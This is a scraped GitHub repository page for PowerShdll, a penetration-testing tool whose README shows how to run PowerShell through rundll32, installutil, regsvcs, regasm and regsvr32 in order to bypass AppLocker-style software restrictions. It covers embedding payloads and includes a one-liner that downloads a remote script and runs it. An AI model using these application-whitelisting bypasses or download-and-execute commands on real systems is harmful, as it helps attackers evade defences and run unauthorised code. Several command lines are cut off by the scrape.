p3nt4 / PowerShdll Public

Sponsor Notifications Fork 253 Star 1.8k

Code Issues Pull requests Actions Projects Security Insights

master Go to file Code

p3nt4 Delete createPSRelease.sh 62cfa17 · 3 years ago 72 Commits

.github	Create FUNDING.yml	3 years ago
dll	Added embeded payload feature	4 years ago
exe	Added embeded payload feature	4 years ago
.gitattributes	Added .gitattributes & .gitignore files	8 years ago
.gitignore	PowerShdll 0.2	7 years ago
LICENSE.md	Create LICENSE.md	7 years ago
PowerShdll.sln	Reduced target to .Net 2.0 and 3.5	7 years ago
README.md	Update README.md	4 years ago

README License

PowerShdll

Run PowerShell with dlls only.

Does not require access to powershell.exe as it uses powershell automation dlls.

PowerShdll can be run with: rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe or as a standalone executable.

dll mode:

Rundll32:

```
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h      Display this message
rundll32 PowerShdll,main -f <path>       Run the script passed as arg
rundll32 PowerShdll,main -w      Start an interactive console in a ne
rundll32 PowerShdll,main -i      Start an interactive console in this
If you do not have an interractive console, use -n to avoid crashes (
```

Alternatives (Credit to SubTee for these techniques):

```
1.
    x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.(
    x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallU
2.
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe Pow
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe P
3.
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U P
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U
```

About

Run PowerShell with rundll32. Bypass software restrictions.

security powershell applocker

Readme

MIT license

Activity

1.8k stars

60 watching

253 forks

Report repository

Releases 4

PowerShdll v0.3.4.5.2 for .Net 4.... Latest

on Apr 28, 2020

+ 3 releases

Sponsor this project

p3nt4 Louis

Sponsor

Learn more about GitHub Sponsors

Packages

No packages published

Languages

C# 100.0%

```
4.
    regsvr32 /s  /u PowerShdll.dll -->Calls DllUnregisterServer
    regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer
```

exe mode

```
Usage:
PowerShdll.exe <script>
PowerShdll.exe -h      Display this message
PowerShdll.exe -f <path>       Run the script passed as argument
PowerShdll.exe -i      Start an interactive console in this console
```

Embeded payloads

Payloads can be embeded by modifying the "payload" variable in the start method of the common.cs file. If a payload is embeded, all other varguments will be ignored and the payload will be executed upon running PowerShdll.

Examples

Run base64 encoded script

```
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetStri
```

Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode

Download and run script

```
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Scrip
```

Requirements

- .Net v3.5 for dll mode.
- .Net v2.0 for exe mode.

Known Issues

Some errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure. Make sure you have typed your commands correctly.

In dll mode, interractive mode and command output rely on hijacking the parent process' console. If the parent process does not have a console, use the -n switch to not show output otherwise the application will crash.

Due to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay.

Disclaimer

This project is intended for security researchers and penetration testers and should only be used with the approval of system owners.